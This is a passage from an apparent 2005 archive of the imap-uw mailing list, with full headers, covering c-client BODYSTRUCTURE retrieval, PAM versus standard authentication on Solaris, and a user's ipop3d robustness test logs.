("CHARSET" "ISO-8859-15" "FORMAT" "flowed") NIL NIL "7BIT" 23 4 NIL NIL NIL NIL)("MESSAGE" "RFC822" ("NAME" "Re: a message") NIL NIL "7BIT" 518 ("Fri, 28 Oct 2005 11:50:37 -0500" "RE: a message" (("Some User" NIL "someuser" "example.net")) (("Some User" NIL "someuser" "example.net")) (("Some User" NIL "someuser" "example.net")) (("Some User" NIL "someuser" "example.net")) NIL NIL NIL "<20051028165037.E83DC3E80B4@example.net>") ("TEXT" "PLAIN" ("CHARSET" "UTF-8" "FORMAT" "flowed") NIL NIL "7BIT" 18 1 NIL NIL NIL NIL) 15 NIL ("INLINE" ("FILENAME" "Re: a message")) NIL NIL) "MIXED" ("BOUNDARY" "------------090003040805030408020409") NIL NIL NIL) > I use mail_fetch_overview_sequence() to get the BODYSTRUCTURE: mail_fetch_overview_sequence() is not the correct function to get a BODYSTRUCTURE. The correct (and ONLY) function is mail_fetch_structure(). In general, overviews should be used only for NNTP and not for other types of connections. What's more, how did you get that bogus "BODYSTRUCTURE"? I hope that you didn't look at elt->private.msg.body; that data is strictly private to c-client (hence the "private" moniker) and it is guaranteed that applications will fail if they poke in there. To repeat (since this is important): the ONLY way to get the message BODYSTRUCTURE is the mail_fetch_structure() function. > According to > the body struture, the "TEXT" "PLAIN" is part 1 and "INLINE" is part 2. What you quoted as a "BODYSTRUCTURE" only shows a single part with empty content. The "INLINE" is a content disposition for the MULTIPART which is wrong because in the message it's the content disposition for an embedded message. As I said, it's completely bogus. I can't otherwise tell if it's just a matter of bad usage of c-client or if your IMAP server is also broken. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Nov 4 09:47:32 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 4 Nov 2005 09:47:32 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4HlWgK016230 for ; Fri, 4 Nov 2005 09:47:32 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4HlVE9002778 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 4 Nov 2005 09:47:31 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4HlVxx001481; Fri, 4 Nov 2005 09:47:31 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4HlVh0010386; Fri, 4 Nov 2005 09:47:31 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4HlQhL010362 for ; Fri, 4 Nov 2005 09:47:26 -0800 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4HlOTq025319 for ; Fri, 4 Nov 2005 09:47:24 -0800 Received: from localhost (localhost [127.0.0.1]) by mail.bynari.net (Postfix) with ESMTP id 057BF3E80EB; Fri, 4 Nov 2005 11:46:53 -0600 (CST) Received: from mail.bynari.net ([127.0.0.1]) by localhost (mail.bynari.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 26031-06; Fri, 4 Nov 2005 11:46:49 -0600 (CST) Received: by mail.bynari.net (Postfix, from userid 404) id EEFB53E817B; Fri, 4 Nov 2005 11:46:49 -0600 (CST) Received: from [192.168.1.5] (adsl-68-94-0-104.dsl.rcsntx.swbell.net [68.94.0.104]) by mail.bynari.net (Postfix) with ESMTP id C1C253E80EB; Fri, 4 Nov 2005 11:46:49 -0600 (CST) Message-ID: <436B9EAB.4030307@bynari.net> Date: Fri, 04 Nov 2005 11:47:23 -0600 From: Shawn Walker User-Agent: Thunderbird 1.4.1 (Windows/20051006) MIME-Version: 1.0 To: Mark Crispin Subject: Re: [Imap-uw] What is the part number??? References: <436AD901.6070009@bynari.net> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at bynari.net X-Uwash-Spam: Gauge=X, Probability=10%, Report='LINES_OF_YELLING_3 0.671, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __LINES_OF_YELLING 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu The BODYSTRUCTURE is coming from a Cyrus IMAP4 v2.2.10 server. Here is the body structure that c-client from calling mm_dlog() from the server. * 1 FETCH (FLAGS (\Recent \Seen) INTERNALDATE " 4-Nov-2005 09:33:22 -0600" RFC822.SIZE 1770 BODYSTRUCTURE (("TEXT" "PLAIN" ("CHARSET" "us-ascii") NIL NIL "7BIT" 0 0 NIL NIL NIL) "MIXED" ("BOUNDARY" "------------090003040805030408020409") ("INLINE" ("FILENAME" "Re: a message")) NIL)) I'm not using elt->private.msg.body, using "BODY". Shawn Mark Crispin wrote: > On Thu, 3 Nov 2005, Shawn Walker wrote: >> I have a message that seems "confused" from c-client. I have tried it >> with Pine 4.64 and it shows the message blank (empty). > > Are you using an IMAP server? If so, what IMAP server implementation? > >> BODYSTRUCTURE (("TEXT" "PLAIN" ("CHARSET" "us-ascii") NIL NIL "7BIT" 0 >> 0 NIL NIL NIL) "MIXED" ("BOUNDARY" >> "------------090003040805030408020409") ("INLINE" ("FILENAME" "[Fwd: >> Re: a message]")) NIL) > > That BODYSTRUCTURE is completely bogus. Here is the correct > BODYSTRUCTURE for that message: > > BODYSTRUCTURE (("TEXT" "PLAIN" ("CHARSET" "ISO-8859-15" "FORMAT" > "flowed") NIL NIL "7BIT" 23 4 NIL NIL NIL NIL)("MESSAGE" "RFC822" > ("NAME" "Re: a message") NIL NIL "7BIT" 518 ("Fri, 28 Oct 2005 11:50:37 > -0500" "RE: a message" (("Some User" NIL "someuser" "example.net")) > (("Some User" NIL "someuser" "example.net")) (("Some User" NIL > "someuser" "example.net")) (("Some User" NIL "someuser" "example.net")) > NIL NIL NIL "<20051028165037.E83DC3E80B4@example.net>") ("TEXT" "PLAIN" > ("CHARSET" "UTF-8" "FORMAT" "flowed") NIL NIL "7BIT" 18 1 NIL NIL NIL > NIL) 15 NIL ("INLINE" ("FILENAME" "Re: a message")) NIL NIL) "MIXED" > ("BOUNDARY" "------------090003040805030408020409") NIL NIL NIL) > >> I use mail_fetch_overview_sequence() to get the BODYSTRUCTURE: > > mail_fetch_overview_sequence() is not the correct function to get a > BODYSTRUCTURE. The correct (and ONLY) function is > mail_fetch_structure(). In general, overviews should be used only for > NNTP and not for other types of connections. > > What's more, how did you get that bogus "BODYSTRUCTURE"? I hope that > you didn't look at elt->private.msg.body; that data is strictly private > to c-client (hence the "private" moniker) and it is guaranteed that > applications will fail if they poke in there. > > To repeat (since this is important): the ONLY way to get the message > BODYSTRUCTURE is the mail_fetch_structure() function. > >> According to the body struture, the "TEXT" "PLAIN" is part 1 and >> "INLINE" is part 2. > > What you quoted as a "BODYSTRUCTURE" only shows a single part with empty > content. The "INLINE" is a content disposition for the MULTIPART which > is wrong because in the message it's the content disposition for an > embedded message. As I said, it's completely bogus. > > I can't otherwise tell if it's just a matter of bad usage of c-client or > if your IMAP server is also broken. > > -- Mark -- > > http://panda.com/mrc > Democracy is two wolves and a sheep deciding what to eat for lunch. > Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Nov 4 09:50:26 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 4 Nov 2005 09:50:26 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4HoQZo016442 for ; Fri, 4 Nov 2005 09:50:26 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4HoPVU002977 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 4 Nov 2005 09:50:25 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4HoPUq001997; Fri, 4 Nov 2005 09:50:25 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4HoPUe011118; Fri, 4 Nov 2005 09:50:25 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4HoOaO011108 for ; Fri, 4 Nov 2005 09:50:24 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4HoNxe017353 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 4 Nov 2005 09:50:23 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4HoN9v011638 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 4 Nov 2005 09:50:23 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4HoGpg010847 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 4 Nov 2005 09:50:21 -0800 Date: Fri, 4 Nov 2005 09:50:15 -0800 (PST) From: Mark Crispin To: Shawn Walker Subject: Re: [Imap-uw] What is the part number??? In-Reply-To: <436B9EAB.4030307@bynari.net> Message-ID: References: <436AD901.6070009@bynari.net> <436B9EAB.4030307@bynari.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __LINES_OF_YELLING 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu If you represented both the message and its BODYSTRUCTURE accurately, then you may have discovered a bug in Cyrus and you should report it to the Cyrus developers. That BODYSTRUCTURE is definitely not for the message that you gave. On Fri, 4 Nov 2005, Shawn Walker wrote: > The BODYSTRUCTURE is coming from a Cyrus IMAP4 v2.2.10 server. Here is the > body structure that c-client from calling mm_dlog() from the server. > > * 1 FETCH (FLAGS (\Recent \Seen) INTERNALDATE " 4-Nov-2005 09:33:22 -0600" > RFC822.SIZE 1770 BODYSTRUCTURE (("TEXT" "PLAIN" ("CHARSET" "us-ascii") NIL > NIL "7BIT" 0 0 NIL NIL NIL) "MIXED" ("BOUNDARY" > "------------090003040805030408020409") ("INLINE" ("FILENAME" "Re: a > message")) NIL)) > > I'm not using elt->private.msg.body, using "BODY". > > Shawn > > Mark Crispin wrote: >> On Thu, 3 Nov 2005, Shawn Walker wrote: >>> I have a message that seems "confused" from c-client. I have tried it with >>> Pine 4.64 and it shows the message blank (empty). >> >> Are you using an IMAP server? If so, what IMAP server implementation? >> >>> BODYSTRUCTURE (("TEXT" "PLAIN" ("CHARSET" "us-ascii") NIL NIL "7BIT" 0 0 >>> NIL NIL NIL) "MIXED" ("BOUNDARY" "------------090003040805030408020409") >>> ("INLINE" ("FILENAME" "[Fwd: Re: a message]")) NIL) >> >> That BODYSTRUCTURE is completely bogus. Here is the correct BODYSTRUCTURE >> for that message: >> >> BODYSTRUCTURE (("TEXT" "PLAIN" ("CHARSET" "ISO-8859-15" "FORMAT" "flowed") >> NIL NIL "7BIT" 23 4 NIL NIL NIL NIL)("MESSAGE" "RFC822" ("NAME" "Re: a >> message") NIL NIL "7BIT" 518 ("Fri, 28 Oct 2005 11:50:37 -0500" "RE: a >> message" (("Some User" NIL "someuser" "example.net")) (("Some User" NIL >> "someuser" "example.net")) (("Some User" NIL "someuser" "example.net")) >> (("Some User" NIL "someuser" "example.net")) NIL NIL NIL >> "<20051028165037.E83DC3E80B4@example.net>") ("TEXT" "PLAIN" ("CHARSET" >> "UTF-8" "FORMAT" "flowed") NIL NIL "7BIT" 18 1 NIL NIL NIL NIL) 15 NIL >> ("INLINE" ("FILENAME" "Re: a message")) NIL NIL) "MIXED" ("BOUNDARY" >> "------------090003040805030408020409") NIL NIL NIL) >> >>> I use mail_fetch_overview_sequence() to get the BODYSTRUCTURE: >> >> mail_fetch_overview_sequence() is not the correct function to get a >> BODYSTRUCTURE. The correct (and ONLY) function is mail_fetch_structure(). >> In general, overviews should be used only for NNTP and not for other types >> of connections. >> >> What's more, how did you get that bogus "BODYSTRUCTURE"? I hope that you >> didn't look at elt->private.msg.body; that data is strictly private to >> c-client (hence the "private" moniker) and it is guaranteed that >> applications will fail if they poke in there. >> >> To repeat (since this is important): the ONLY way to get the message >> BODYSTRUCTURE is the mail_fetch_structure() function. >> >>> According to the body struture, the "TEXT" "PLAIN" is part 1 and "INLINE" >>> is part 2. >> >> What you quoted as a "BODYSTRUCTURE" only shows a single part with empty >> content. The "INLINE" is a content disposition for the MULTIPART which is >> wrong because in the message it's the content disposition for an embedded >> message. As I said, it's completely bogus. >> >> I can't otherwise tell if it's just a matter of bad usage of c-client or if >> your IMAP server is also broken. >> >> -- Mark -- >> >> http://panda.com/mrc >> Democracy is two wolves and a sheep deciding what to eat for lunch. >> Liberty is a well-armed sheep contesting the vote. > > -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Nov 4 11:23:58 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 4 Nov 2005 11:23:58 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4JNwd2020989 for ; Fri, 4 Nov 2005 11:23:58 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4JNvOa002652 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 4 Nov 2005 11:23:57 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4JNvPj012233; Fri, 4 Nov 2005 11:23:57 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4JNvhP028881; Fri, 4 Nov 2005 11:23:57 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4JNoxL028542 for ; Fri, 4 Nov 2005 11:23:50 -0800 Received: from ascc.artsci.wustl.edu (ascc.artsci.wustl.edu [128.252.93.1]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4JNmri012784 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 4 Nov 2005 11:23:49 -0800 Received: from cfspc179 ([128.252.95.179]) by ascc.artsci.wustl.edu (8.12.11/8.12.11) with SMTP id jA4JNmjF014403 for ; Fri, 4 Nov 2005 13:23:48 -0600 (CST) Message-ID: <001501c5e175$4788d460$b35ffc80@cfspc179> From: "Ken Koch" To: Date: Fri, 4 Nov 2005 13:23:47 -0600 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2670 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2670 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='HTML_50_70 0.1, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __HAS_MSMAIL_PRI 0, __HAS_X_MAILER 0, __HAS_X_PRIORITY 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __TAG_EXISTS_HTML 0' Subject: [Imap-uw] std vs pmb authent for NIS+ X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============2124637125==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This is a multi-part message in MIME format. --===============2124637125== Content-Type: multipart/alternative; boundary="----=_NextPart_000_0012_01C5E142.FCC5CDC0" This is a multi-part message in MIME format. ------=_NextPart_000_0012_01C5E142.FCC5CDC0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Which would be a more efficient means of compiling? PMB or STD = authentication on a Solaris 8 box with NIS+? The pmb loads 2 extra libs (cmd/pam) but might authenticate directly to = pam... versus the std compile with 2 less librarys having to check = /etc/passwd or nsswitch.conf, fail, then goto pam/nis. So which one would perform quicker? I haven't check the stack calls of = a pmb lookup because I can't restart inetd right now. Anyone farmiliar = off the top of their head? -Ken ------=_NextPart_000_0012_01C5E142.FCC5CDC0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Which would be a more efficient means = of=20 compiling?  PMB or STD authentication on a Solaris 8 box with=20 NIS+?
     
    The pmb loads 2 extra libs (cmd/pam) = but might=20 authenticate directly to pam... versus the std compile with 2 less = librarys=20 having to check /etc/passwd or nsswitch.conf, fail, then goto=20 pam/nis.
     
    So which one would perform = quicker?  I haven't=20 check the stack calls of a pmb lookup because I can't restart inetd = right=20 now.  Anyone farmiliar off the top of their head?
     
    -Ken
    ------=_NextPart_000_0012_01C5E142.FCC5CDC0-- --===============2124637125== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============2124637125==-- From pinedev@shivax2.cac.washington.edu Fri Nov 4 11:38:34 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 4 Nov 2005 11:38:34 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4JcYm8021779 for ; Fri, 4 Nov 2005 11:38:34 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4JcXLl010594 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 4 Nov 2005 11:38:33 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4JcX1j014839; Fri, 4 Nov 2005 11:38:33 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4JcX1R002051; Fri, 4 Nov 2005 11:38:33 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4JcWLJ002025 for ; Fri, 4 Nov 2005 11:38:32 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4JcV0a029537 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 4 Nov 2005 11:38:32 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4JcVSU002192 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 4 Nov 2005 11:38:31 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jA4JcOgt014517 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 4 Nov 2005 11:38:29 -0800 Date: Fri, 4 Nov 2005 11:38:23 -0800 (PST) From: Mark Crispin To: Ken Koch Subject: Re: [Imap-uw] std vs pmb authent for NIS+ In-Reply-To: <001501c5e175$4788d460$b35ffc80@cfspc179> Message-ID: References: <001501c5e175$4788d460$b35ffc80@cfspc179> MIME-Version: 1.0 Content-Type: TEXT/Plain; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 4 Nov 2005, Ken Koch wrote: > Which would be a more efficient means of compiling? PMB or STD > authentication on a Solaris 8 box with NIS+? This is the first that I have heard of "efficiency" being used as a decision point on whether or not to use PAM. Typically, the decision to use PAM is based upon a desire to centralize authentication policy within the PAM infrastructure and not to have individual daemons make their own decision. For example, if a site decides to validate passwords via LDAP or Kerberos instead of the password file, they only need to change the PAM configuration rather than having to rebuild all the daemons. Another reason for a decision to use PAM is that on some systems, PAM is the *only* means of password authentication. For a long time now, most systems will not provide the encrypted passwords with getpwnam(); these days, there are systems in which getspnam() no longer works usefully (or exists). In general, I recommend that if your system has PAM installed, that you use it. Modern systems should not have any substantial "efficiency" concerns, and it's clear that using PAM is going with the flow. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Nov 10 19:34:57 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Nov 2005 19:34:57 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAB3YvLC018484 for ; Thu, 10 Nov 2005 19:34:57 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAB3Yub9020662 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 10 Nov 2005 19:34:56 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAB3YuBE026014; Thu, 10 Nov 2005 19:34:56 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAB3YuCK017196; Thu, 10 Nov 2005 19:34:56 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAB3YteH017188 for ; Thu, 10 Nov 2005 19:34:55 -0800 Received: from xproxy.gmail.com (xproxy.gmail.com [66.249.82.207]) by mxe7.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAB3YqPX014488 for ; Thu, 10 Nov 2005 19:34:52 -0800 Received: by xproxy.gmail.com with SMTP id t4so734663wxc for ; Thu, 10 Nov 2005 19:34:52 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=ilTxP6zxqmVBug2MGIWwSexYnSyn5lJ69wB6+5y9zPBIG7BUZTYh3jGXqiyNnCphvqZCt+l6rotJNskN0Shvx/VB3V7+wuewVOc2Q2XZsAiyyJEurPbvvZFBdmPqb35O3PlCDrlcVD3m/EbNIFYq/w/DTCC3yE3XsKQl6lRKpJo= Received: by 10.65.113.20 with SMTP id q20mr1886937qbm; Thu, 10 Nov 2005 19:34:51 -0800 (PST) Received: by 10.65.93.9 with HTTP; Thu, 10 Nov 2005 19:34:51 -0800 (PST) Message-ID: <35e353d50511101934n20232c9dmde2d93b50d46486e@mail.gmail.com> Date: Fri, 11 Nov 2005 05:34:51 +0200 From: Adrian Buciuman To: imap-uw@u.washington.edu MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __LINES_OF_YELLING 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] two ipop3d "bugs" X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I want to use ipop3d to access an IMAP server. So I've done some "torture" tests, to see if it works well or fails safe in different strange conditions. Interesting logs: 1.from the pop3 client: retr 1 +OK 239 octets Return-Path: <> Received: from test ([10.80.80.80]) by xx-xx-xx-xxx (Cyrus v2.2.12) with LMTPA; Thu, 16 Jun 2005 21:21:32 +0300 X-Sieve: CMU Sieve 2.2 Date: Thu Message-ID: Status: RO . retr 2 +OK 10030 octets Status: RO . For the first message Status: should have its own line. Two lines (or one?) have been appended by ipop3d at the end of the message. Should the second retr give an error? 2. ipop3d to imap server 00000005 FETCH 1 BODY.PEEK[HEADER] * 1 FETCH (BODY[HEADER] {227} Return-Path: <> Received: from test ([10.80.80.80]) . by xx-xx-xx-xxx (Cyrus v2.2.12) with LMTPA; . Thu, 16 Jun 2005 21:21:32 +0300 X-Sieve: CMU Sieve 2.2 Date: Thu Message-ID: ) 00000005 OK Completed (0.000 sec) 00000006 FETCH 1 BODY[TEXT] * 1 FETCH (BODY[TEXT] "") 00000006 OK Completed (0.000 sec) 00000007 FETCH 2 BODY.PEEK[HEADER] * OK Message 2 no longer exists * 2 FETCH (BODY[HEADER] "") * 2 FETCH (FLAGS (\Deleted \Seen)) 00000007 OK Completed (0.000 sec) 00000008 FETCH 2 BODY[TEXT] * OK Message 2 no longer exists * 2 FETCH (BODY[TEXT] "") 00000008 OK Completed (0.000 sec) (First message has no body, nor the line between headers and body. Second message has been deleted and the mailbox expunged.) _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu 